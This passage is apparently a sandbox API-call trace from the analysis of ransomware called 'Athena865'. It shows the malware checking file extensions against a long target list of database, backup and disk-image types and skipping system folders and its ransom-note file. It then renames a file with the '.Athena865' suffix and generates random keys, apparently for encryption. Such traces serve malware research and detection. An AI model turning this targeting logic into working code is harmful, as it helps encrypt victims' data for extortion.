[0034.674] lstrcmpiW (lpString1="hve", lpString2="mrg") returned -1 [0034.674] lstrlenW (lpString="mud") returned 3 [0034.674] lstrcmpiW (lpString1="hve", lpString2="mud") returned -1 [0034.674] lstrlenW (lpString="mwb") returned 3 [0034.674] lstrcmpiW (lpString1="hve", lpString2="mwb") returned -1 [0034.674] lstrlenW (lpString="myd") returned 3 [0034.674] lstrcmpiW (lpString1="hve", lpString2="myd") returned -1 [0034.674] lstrlenW (lpString="ndf") returned 3 [0034.674] lstrcmpiW (lpString1="hve", lpString2="ndf") returned -1 [0034.674] lstrlenW (lpString="nnt") returned 3 [0034.674] lstrcmpiW (lpString1="hve", lpString2="nnt") returned -1 [0034.674] lstrlenW (lpString="nrmlib") returned 6 [0034.674] lstrcmpiW (lpString1="he.hve", lpString2="nrmlib") returned -1 [0034.674] lstrlenW (lpString="ns2") returned 3 [0034.674] lstrcmpiW (lpString1="hve", lpString2="ns2") returned -1 [0034.674] lstrlenW (lpString="ns3") returned 3 [0034.674] lstrcmpiW (lpString1="hve", lpString2="ns3") returned -1 [0034.674] lstrlenW (lpString="ns4") returned 3 [0034.674] lstrcmpiW (lpString1="hve", lpString2="ns4") returned -1 [0034.674] lstrlenW (lpString="nsf") returned 3 [0034.674] lstrcmpiW (lpString1="hve", lpString2="nsf") returned -1 [0034.674] lstrlenW (lpString="nv") returned 2 [0034.674] lstrcmpiW (lpString1="ve", lpString2="nv") returned 1 [0034.674] lstrlenW (lpString="nv2") returned 3 [0034.674] lstrcmpiW (lpString1="hve", lpString2="nv2") returned -1 [0034.674] lstrlenW (lpString="nwdb") returned 4 [0034.674] lstrcmpiW (lpString1=".hve", lpString2="nwdb") returned -1 [0034.675] lstrlenW (lpString="nyf") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="nyf") returned -1 [0034.675] lstrlenW (lpString="odb") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="odb") returned -1 [0034.675] lstrlenW (lpString="odb") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="odb") returned -1 [0034.675] lstrlenW (lpString="oqy") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="oqy") returned -1 [0034.675] lstrlenW (lpString="ora") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="ora") returned -1 [0034.675] lstrlenW (lpString="orx") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="orx") returned -1 [0034.675] lstrlenW (lpString="owc") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="owc") returned -1 [0034.675] lstrlenW (lpString="p96") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="p96") returned -1 [0034.675] lstrlenW (lpString="p97") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="p97") returned -1 [0034.675] lstrlenW (lpString="pan") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="pan") returned -1 [0034.675] lstrlenW (lpString="pdb") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="pdb") returned -1 [0034.675] lstrlenW (lpString="pdm") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="pdm") returned -1 [0034.675] lstrlenW (lpString="pnz") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="pnz") returned -1 [0034.675] lstrlenW (lpString="qry") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="qry") returned -1 [0034.675] lstrlenW (lpString="qvd") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="qvd") returned -1 [0034.675] lstrlenW (lpString="rbf") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="rbf") returned -1 [0034.675] lstrlenW (lpString="rctd") returned 4 [0034.675] lstrcmpiW (lpString1=".hve", lpString2="rctd") returned -1 [0034.675] lstrlenW (lpString="rod") returned 3 [0034.675] lstrcmpiW (lpString1="hve", lpString2="rod") returned -1 [0034.675] lstrlenW (lpString="rodx") returned 4 [0034.675] lstrcmpiW (lpString1=".hve", lpString2="rodx") returned -1 [0034.676] lstrlenW (lpString="rpd") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="rpd") returned -1 [0034.676] lstrlenW (lpString="rsd") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="rsd") returned -1 [0034.676] lstrlenW (lpString="sas7bdat") returned 8 [0034.676] lstrcmpiW (lpString1="ache.hve", lpString2="sas7bdat") returned -1 [0034.676] lstrlenW (lpString="sbf") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="sbf") returned -1 [0034.676] lstrlenW (lpString="scx") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="scx") returned -1 [0034.676] lstrlenW (lpString="sdb") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="sdb") returned -1 [0034.676] lstrlenW (lpString="sdc") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="sdc") returned -1 [0034.676] lstrlenW (lpString="sdf") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="sdf") returned -1 [0034.676] lstrlenW (lpString="sis") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="sis") returned -1 [0034.676] lstrlenW (lpString="spq") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="spq") returned -1 [0034.676] lstrlenW (lpString="te") returned 2 [0034.676] lstrcmpiW (lpString1="ve", lpString2="te") returned 1 [0034.676] lstrlenW (lpString="teacher") returned 7 [0034.676] lstrcmpiW (lpString1="che.hve", lpString2="teacher") returned -1 [0034.676] lstrlenW (lpString="tmd") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="tmd") returned -1 [0034.676] lstrlenW (lpString="tps") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="tps") returned -1 [0034.676] lstrlenW (lpString="trc") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="trc") returned -1 [0034.676] lstrlenW (lpString="trc") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="trc") returned -1 [0034.676] lstrlenW (lpString="trm") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="trm") returned -1 [0034.676] lstrlenW (lpString="udb") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="udb") returned -1 [0034.676] lstrlenW (lpString="udl") returned 3 [0034.676] lstrcmpiW (lpString1="hve", lpString2="udl") returned -1 [0034.676] lstrlenW (lpString="usr") returned 3 [0034.677] lstrcmpiW (lpString1="hve", lpString2="usr") returned -1 [0034.677] lstrlenW (lpString="v12") returned 3 [0034.677] lstrcmpiW (lpString1="hve", lpString2="v12") returned -1 [0034.677] lstrlenW (lpString="vis") returned 3 [0034.677] lstrcmpiW (lpString1="hve", lpString2="vis") returned -1 [0034.677] lstrlenW (lpString="vpd") returned 3 [0034.677] lstrcmpiW (lpString1="hve", lpString2="vpd") returned -1 [0034.677] lstrlenW (lpString="vvv") returned 3 [0034.677] lstrcmpiW (lpString1="hve", lpString2="vvv") returned -1 [0034.677] lstrlenW (lpString="wdb") returned 3 [0034.677] lstrcmpiW (lpString1="hve", lpString2="wdb") returned -1 [0034.677] lstrlenW (lpString="wmdb") returned 4 [0034.677] lstrcmpiW (lpString1=".hve", lpString2="wmdb") returned -1 [0034.677] lstrlenW (lpString="wrk") returned 3 [0034.677] lstrcmpiW (lpString1="hve", lpString2="wrk") returned -1 [0034.677] lstrlenW (lpString="xdb") returned 3 [0034.677] lstrcmpiW (lpString1="hve", lpString2="xdb") returned -1 [0034.677] lstrlenW (lpString="xld") returned 3 [0034.677] lstrcmpiW (lpString1="hve", lpString2="xld") returned -1 [0034.677] lstrlenW (lpString="xmlff") returned 5 [0034.677] lstrcmpiW (lpString1="e.hve", lpString2="xmlff") returned -1 [0034.677] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\Syscache.hve.Athena865") returned 51 [0034.677] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\Syscache.hve" (normalized: "c:\\system volume information\\syscache.hve"), lpNewFileName="C:\\System Volume Information\\Syscache.hve.Athena865" (normalized: "c:\\system volume information\\syscache.hve.athena865"), dwFlags=0x1) returned 1 [0034.678] CreateFileW (lpFileName="C:\\System Volume Information\\Syscache.hve.Athena865" (normalized: "c:\\system volume information\\syscache.hve.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0034.678] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=262144) returned 1 [0034.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0034.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x50ddf8 [0034.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0034.678] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518788) returned 1 [0034.679] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0034.679] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0034.679] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40300, lpName=0x0) returned 0x140 [0034.744] MapViewOfFile (hFileMappingObject=0x140, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40300) returned 0x1f0000 [0034.755] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518788) returned 1 [0034.756] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0034.756] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0034.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x50de70 [0034.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50de70 | out: hHeap=0x4f0000) returned 1 [0034.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528028 [0034.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0034.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528028 | out: hHeap=0x4f0000) returned 1 [0034.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0034.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528028 [0034.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0034.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528028 | out: hHeap=0x4f0000) returned 1 [0034.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0034.756] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0034.759] CloseHandle (hObject=0x140) returned 1 [0034.759] CloseHandle (hObject=0x154) returned 1 [0034.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ddf8 | out: hHeap=0x4f0000) returned 1 [0034.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0034.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0034.764] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6322dea0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x6322dea0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x1685a060, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Syscache.hve.LOG1", cAlternateFileName="SYSCAC~1.LOG")) returned 1 [0034.764] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.764] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.764] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2=".") returned 1 [0034.764] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2="..") returned 1 [0034.764] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2="windows") returned -1 [0034.764] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2="bootmgr") returned 1 [0034.764] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2="temp") returned -1 [0034.764] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2="pagefile.sys") returned 1 [0034.764] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2="boot") returned 1 [0034.764] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2="ids.txt") returned 1 [0034.764] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2="ntuser.dat") returned 1 [0034.764] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2="perflogs") returned 1 [0034.764] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2="MSBuild") returned 1 [0034.764] lstrlenW (lpString="Syscache.hve.LOG1") returned 17 [0034.764] lstrcpyW (in: lpString1=0x241e882, lpString2="Syscache.hve.LOG1" | out: lpString1="Syscache.hve.LOG1") returned="Syscache.hve.LOG1" [0034.765] lstrlenW (lpString="Syscache.hve.LOG1") returned 17 [0034.765] lstrlenW (lpString="Athena865") returned 9 [0034.765] lstrcmpiW (lpString1=".hve.LOG1", lpString2="Athena865") returned -1 [0034.765] lstrlenW (lpString=".dll") returned 4 [0034.765] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2=".dll") returned 1 [0034.765] lstrlenW (lpString=".lnk") returned 4 [0034.765] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2=".lnk") returned 1 [0034.765] lstrlenW (lpString=".ini") returned 4 [0034.765] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2=".ini") returned 1 [0034.765] lstrlenW (lpString=".sys") returned 4 [0034.765] lstrcmpiW (lpString1="Syscache.hve.LOG1", lpString2=".sys") returned 1 [0034.765] lstrlenW (lpString="Syscache.hve.LOG1") returned 17 [0034.765] lstrlenW (lpString="bak") returned 3 [0034.765] lstrcmpiW (lpString1="OG1", lpString2="bak") returned 1 [0034.765] lstrlenW (lpString="ba_") returned 3 [0034.765] lstrcmpiW (lpString1="OG1", lpString2="ba_") returned 1 [0034.765] lstrlenW (lpString="dbb") returned 3 [0034.765] lstrcmpiW (lpString1="OG1", lpString2="dbb") returned 1 [0034.765] lstrlenW (lpString="vmdk") returned 4 [0034.765] lstrcmpiW (lpString1="LOG1", lpString2="vmdk") returned -1 [0034.765] lstrlenW (lpString="rar") returned 3 [0034.765] lstrcmpiW (lpString1="OG1", lpString2="rar") returned -1 [0034.765] lstrlenW (lpString="zip") returned 3 [0034.765] lstrcmpiW (lpString1="OG1", lpString2="zip") returned -1 [0034.765] lstrlenW (lpString="tgz") returned 3 [0034.765] lstrcmpiW (lpString1="OG1", lpString2="tgz") returned -1 [0034.765] lstrlenW (lpString="vbox") returned 4 [0034.765] lstrcmpiW (lpString1="LOG1", lpString2="vbox") returned -1 [0034.765] lstrlenW (lpString="vdi") returned 3 [0034.765] lstrcmpiW (lpString1="OG1", lpString2="vdi") returned -1 [0034.765] lstrlenW (lpString="vhd") returned 3 [0034.765] lstrcmpiW (lpString1="OG1", lpString2="vhd") returned -1 [0034.765] lstrlenW (lpString="vhdx") returned 4 [0034.765] lstrcmpiW (lpString1="LOG1", lpString2="vhdx") returned -1 [0034.765] lstrlenW (lpString="avhd") returned 4 [0034.765] lstrcmpiW (lpString1="LOG1", lpString2="avhd") returned 1 [0034.765] lstrlenW (lpString="db") returned 2 [0034.765] lstrcmpiW (lpString1="G1", lpString2="db") returned 1 [0034.766] lstrlenW (lpString="db2") returned 3 [0034.766] lstrcmpiW (lpString1="OG1", lpString2="db2") returned 1 [0034.766] lstrlenW (lpString="db3") returned 3 [0034.766] lstrcmpiW (lpString1="OG1", lpString2="db3") returned 1 [0034.766] lstrlenW (lpString="dbf") returned 3 [0034.766] lstrcmpiW (lpString1="OG1", lpString2="dbf") returned 1 [0034.766] lstrlenW (lpString="mdf") returned 3 [0034.766] lstrcmpiW (lpString1="OG1", lpString2="mdf") returned 1 [0034.766] lstrlenW (lpString="mdb") returned 3 [0034.766] lstrcmpiW (lpString1="OG1", lpString2="mdb") returned 1 [0034.766] lstrlenW (lpString="sql") returned 3 [0034.766] lstrcmpiW (lpString1="OG1", lpString2="sql") returned -1 [0034.766] lstrlenW (lpString="sqlite") returned 6 [0034.766] lstrcmpiW (lpString1="e.LOG1", lpString2="sqlite") returned -1 [0034.766] lstrlenW (lpString="sqlite3") returned 7 [0034.766] lstrcmpiW (lpString1="ve.LOG1", lpString2="sqlite3") returned 1 [0034.766] lstrlenW (lpString="sqlitedb") returned 8 [0034.766] lstrcmpiW (lpString1="hve.LOG1", lpString2="sqlitedb") returned -1 [0034.766] lstrlenW (lpString="xml") returned 3 [0034.766] lstrcmpiW (lpString1="OG1", lpString2="xml") returned -1 [0034.766] lstrlenW (lpString="$er") returned 3 [0034.766] lstrcmpiW (lpString1="OG1", lpString2="$er") returned 1 [0034.766] lstrlenW (lpString="4dd") returned 3 [0034.766] lstrcmpiW (lpString1="OG1", lpString2="4dd") returned 1 [0034.766] lstrlenW (lpString="4dl") returned 3 [0034.766] lstrcmpiW (lpString1="OG1", lpString2="4dl") returned 1 [0034.766] lstrlenW (lpString="^^^") returned 3 [0034.766] lstrcmpiW (lpString1="OG1", lpString2="^^^") returned 1 [0034.766] lstrlenW (lpString="abs") returned 3 [0034.766] lstrcmpiW (lpString1="OG1", lpString2="abs") returned 1 [0034.766] lstrlenW (lpString="abx") returned 3 [0034.766] lstrcmpiW (lpString1="OG1", lpString2="abx") returned 1 [0034.766] lstrlenW (lpString="accdb") returned 5 [0034.766] lstrcmpiW (lpString1=".LOG1", lpString2="accdb") returned -1 [0034.766] lstrlenW (lpString="accdc") returned 5 [0034.766] lstrcmpiW (lpString1=".LOG1", lpString2="accdc") returned -1 [0034.766] lstrlenW (lpString="accde") returned 5 [0034.766] lstrcmpiW (lpString1=".LOG1", lpString2="accde") returned -1 [0034.766] lstrlenW (lpString="accdr") returned 5 [0034.767] lstrcmpiW (lpString1=".LOG1", lpString2="accdr") returned -1 [0034.767] lstrlenW (lpString="accdt") returned 5 [0034.767] lstrcmpiW (lpString1=".LOG1", lpString2="accdt") returned -1 [0034.767] lstrlenW (lpString="accdw") returned 5 [0034.767] lstrcmpiW (lpString1=".LOG1", lpString2="accdw") returned -1 [0034.767] lstrlenW (lpString="accft") returned 5 [0034.767] lstrcmpiW (lpString1=".LOG1", lpString2="accft") returned -1 [0034.767] lstrlenW (lpString="adb") returned 3 [0034.767] lstrcmpiW (lpString1="OG1", lpString2="adb") returned 1 [0034.767] lstrlenW (lpString="adb") returned 3 [0034.767] lstrcmpiW (lpString1="OG1", lpString2="adb") returned 1 [0034.767] lstrlenW (lpString="ade") returned 3 [0034.767] lstrcmpiW (lpString1="OG1", lpString2="ade") returned 1 [0034.767] lstrlenW (lpString="adf") returned 3 [0034.767] lstrcmpiW (lpString1="OG1", lpString2="adf") returned 1 [0034.767] lstrlenW (lpString="adn") returned 3 [0034.767] lstrcmpiW (lpString1="OG1", lpString2="adn") returned 1 [0034.767] lstrlenW (lpString="adp") returned 3 [0034.767] lstrcmpiW (lpString1="OG1", lpString2="adp") returned 1 [0034.767] lstrlenW (lpString="alf") returned 3 [0034.767] lstrcmpiW (lpString1="OG1", lpString2="alf") returned 1 [0034.767] lstrlenW (lpString="ask") returned 3 [0034.767] lstrcmpiW (lpString1="OG1", lpString2="ask") returned 1 [0034.767] lstrlenW (lpString="btr") returned 3 [0034.767] lstrcmpiW (lpString1="OG1", lpString2="btr") returned 1 [0034.767] lstrlenW (lpString="cat") returned 3 [0034.767] lstrcmpiW (lpString1="OG1", lpString2="cat") returned 1 [0034.767] lstrlenW (lpString="cdb") returned 3 [0034.767] lstrcmpiW (lpString1="OG1", lpString2="cdb") returned 1 [0034.767] lstrlenW (lpString="ckp") returned 3 [0034.767] lstrcmpiW (lpString1="OG1", lpString2="ckp") returned 1 [0034.767] lstrlenW (lpString="cma") returned 3 [0034.767] lstrcmpiW (lpString1="OG1", lpString2="cma") returned 1 [0034.767] lstrlenW (lpString="cpd") returned 3 [0034.767] lstrcmpiW (lpString1="OG1", lpString2="cpd") returned 1 [0034.767] lstrlenW (lpString="dacpac") returned 6 [0034.767] lstrcmpiW (lpString1="e.LOG1", lpString2="dacpac") returned 1 [0034.767] lstrlenW (lpString="dad") returned 3 [0034.768] lstrcmpiW (lpString1="OG1", lpString2="dad") returned 1 [0034.768] lstrlenW (lpString="dadiagrams") returned 10 [0034.768] lstrcmpiW (lpString1="e.hve.LOG1", lpString2="dadiagrams") returned 1 [0034.768] lstrlenW (lpString="daschema") returned 8 [0034.768] lstrcmpiW (lpString1="hve.LOG1", lpString2="daschema") returned 1 [0034.768] lstrlenW (lpString="db-journal") returned 10 [0034.768] lstrcmpiW (lpString1="e.hve.LOG1", lpString2="db-journal") returned 1 [0034.768] lstrlenW (lpString="db-shm") returned 6 [0034.768] lstrcmpiW (lpString1="e.LOG1", lpString2="db-shm") returned 1 [0034.768] lstrlenW (lpString="db-wal") returned 6 [0034.768] lstrcmpiW (lpString1="e.LOG1", lpString2="db-wal") returned 1 [0034.768] lstrlenW (lpString="dbc") returned 3 [0034.768] lstrcmpiW (lpString1="OG1", lpString2="dbc") returned 1 [0034.768] lstrlenW (lpString="dbs") returned 3 [0034.768] lstrcmpiW (lpString1="OG1", lpString2="dbs") returned 1 [0034.768] lstrlenW (lpString="dbt") returned 3 [0034.768] lstrcmpiW (lpString1="OG1", lpString2="dbt") returned 1 [0034.768] lstrlenW (lpString="dbv") returned 3 [0034.768] lstrcmpiW (lpString1="OG1", lpString2="dbv") returned 1 [0034.768] lstrlenW (lpString="dbx") returned 3 [0034.768] lstrcmpiW (lpString1="OG1", lpString2="dbx") returned 1 [0034.768] lstrlenW (lpString="dcb") returned 3 [0034.768] lstrcmpiW (lpString1="OG1", lpString2="dcb") returned 1 [0034.768] lstrlenW (lpString="dct") returned 3 [0034.768] lstrcmpiW (lpString1="OG1", lpString2="dct") returned 1 [0034.768] lstrlenW (lpString="dcx") returned 3 [0034.768] lstrcmpiW (lpString1="OG1", lpString2="dcx") returned 1 [0034.768] lstrlenW (lpString="ddl") returned 3 [0034.768] lstrcmpiW (lpString1="OG1", lpString2="ddl") returned 1 [0034.768] lstrlenW (lpString="dlis") returned 4 [0034.768] lstrcmpiW (lpString1="LOG1", lpString2="dlis") returned 1 [0034.768] lstrlenW (lpString="dp1") returned 3 [0034.768] lstrcmpiW (lpString1="OG1", lpString2="dp1") returned 1 [0034.768] lstrlenW (lpString="dqy") returned 3 [0034.768] lstrcmpiW (lpString1="OG1", lpString2="dqy") returned 1 [0034.768] lstrlenW (lpString="dsk") returned 3 [0034.768] lstrcmpiW (lpString1="OG1", lpString2="dsk") returned 1 [0034.768] lstrlenW (lpString="dsn") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="dsn") returned 1 [0034.769] lstrlenW (lpString="dtsx") returned 4 [0034.769] lstrcmpiW (lpString1="LOG1", lpString2="dtsx") returned 1 [0034.769] lstrlenW (lpString="dxl") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="dxl") returned 1 [0034.769] lstrlenW (lpString="eco") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="eco") returned 1 [0034.769] lstrlenW (lpString="ecx") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="ecx") returned 1 [0034.769] lstrlenW (lpString="edb") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="edb") returned 1 [0034.769] lstrlenW (lpString="epim") returned 4 [0034.769] lstrcmpiW (lpString1="LOG1", lpString2="epim") returned 1 [0034.769] lstrlenW (lpString="fcd") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="fcd") returned 1 [0034.769] lstrlenW (lpString="fdb") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="fdb") returned 1 [0034.769] lstrlenW (lpString="fic") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="fic") returned 1 [0034.769] lstrlenW (lpString="flexolibrary") returned 12 [0034.769] lstrcmpiW (lpString1="che.hve.LOG1", lpString2="flexolibrary") returned -1 [0034.769] lstrlenW (lpString="fm5") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="fm5") returned 1 [0034.769] lstrlenW (lpString="fmp") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="fmp") returned 1 [0034.769] lstrlenW (lpString="fmp12") returned 5 [0034.769] lstrcmpiW (lpString1=".LOG1", lpString2="fmp12") returned -1 [0034.769] lstrlenW (lpString="fmpsl") returned 5 [0034.769] lstrcmpiW (lpString1=".LOG1", lpString2="fmpsl") returned -1 [0034.769] lstrlenW (lpString="fol") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="fol") returned 1 [0034.769] lstrlenW (lpString="fp3") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="fp3") returned 1 [0034.769] lstrlenW (lpString="fp4") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="fp4") returned 1 [0034.769] lstrlenW (lpString="fp5") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="fp5") returned 1 [0034.769] lstrlenW (lpString="fp7") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="fp7") returned 1 [0034.769] lstrlenW (lpString="fpt") returned 3 [0034.769] lstrcmpiW (lpString1="OG1", lpString2="fpt") returned 1 [0034.770] lstrlenW (lpString="frm") returned 3 [0034.770] lstrcmpiW (lpString1="OG1", lpString2="frm") returned 1 [0034.770] lstrlenW (lpString="gdb") returned 3 [0034.770] lstrcmpiW (lpString1="OG1", lpString2="gdb") returned 1 [0034.770] lstrlenW (lpString="gdb") returned 3 [0034.770] lstrcmpiW (lpString1="OG1", lpString2="gdb") returned 1 [0034.770] lstrlenW (lpString="grdb") returned 4 [0034.770] lstrcmpiW (lpString1="LOG1", lpString2="grdb") returned 1 [0034.770] lstrlenW (lpString="gwi") returned 3 [0034.770] lstrcmpiW (lpString1="OG1", lpString2="gwi") returned 1 [0034.770] lstrlenW (lpString="hdb") returned 3 [0034.770] lstrcmpiW (lpString1="OG1", lpString2="hdb") returned 1 [0034.770] lstrlenW (lpString="his") returned 3 [0034.770] lstrcmpiW (lpString1="OG1", lpString2="his") returned 1 [0034.770] lstrlenW (lpString="ib") returned 2 [0034.770] lstrcmpiW (lpString1="G1", lpString2="ib") returned -1 [0034.770] lstrlenW (lpString="idb") returned 3 [0034.770] lstrcmpiW (lpString1="OG1", lpString2="idb") returned 1 [0034.770] lstrlenW (lpString="ihx") returned 3 [0034.770] lstrcmpiW (lpString1="OG1", lpString2="ihx") returned 1 [0034.770] lstrlenW (lpString="itdb") returned 4 [0034.770] lstrcmpiW (lpString1="LOG1", lpString2="itdb") returned 1 [0034.770] lstrlenW (lpString="itw") returned 3 [0034.770] lstrcmpiW (lpString1="OG1", lpString2="itw") returned 1 [0034.770] lstrlenW (lpString="jet") returned 3 [0034.770] lstrcmpiW (lpString1="OG1", lpString2="jet") returned 1 [0034.770] lstrlenW (lpString="jtx") returned 3 [0034.770] lstrcmpiW (lpString1="OG1", lpString2="jtx") returned 1 [0034.770] lstrlenW (lpString="kdb") returned 3 [0034.770] lstrcmpiW (lpString1="OG1", lpString2="kdb") returned 1 [0034.770] lstrlenW (lpString="kexi") returned 4 [0034.770] lstrcmpiW (lpString1="LOG1", lpString2="kexi") returned 1 [0034.770] lstrlenW (lpString="kexic") returned 5 [0034.770] lstrcmpiW (lpString1=".LOG1", lpString2="kexic") returned -1 [0034.770] lstrlenW (lpString="kexis") returned 5 [0034.770] lstrcmpiW (lpString1=".LOG1", lpString2="kexis") returned -1 [0034.770] lstrlenW (lpString="lgc") returned 3 [0034.770] lstrcmpiW (lpString1="OG1", lpString2="lgc") returned 1 [0034.771] lstrlenW (lpString="lwx") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="lwx") returned 1 [0034.771] lstrlenW (lpString="maf") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="maf") returned 1 [0034.771] lstrlenW (lpString="maq") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="maq") returned 1 [0034.771] lstrlenW (lpString="mar") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="mar") returned 1 [0034.771] lstrlenW (lpString="marshal") returned 7 [0034.771] lstrcmpiW (lpString1="ve.LOG1", lpString2="marshal") returned 1 [0034.771] lstrlenW (lpString="mas") returned 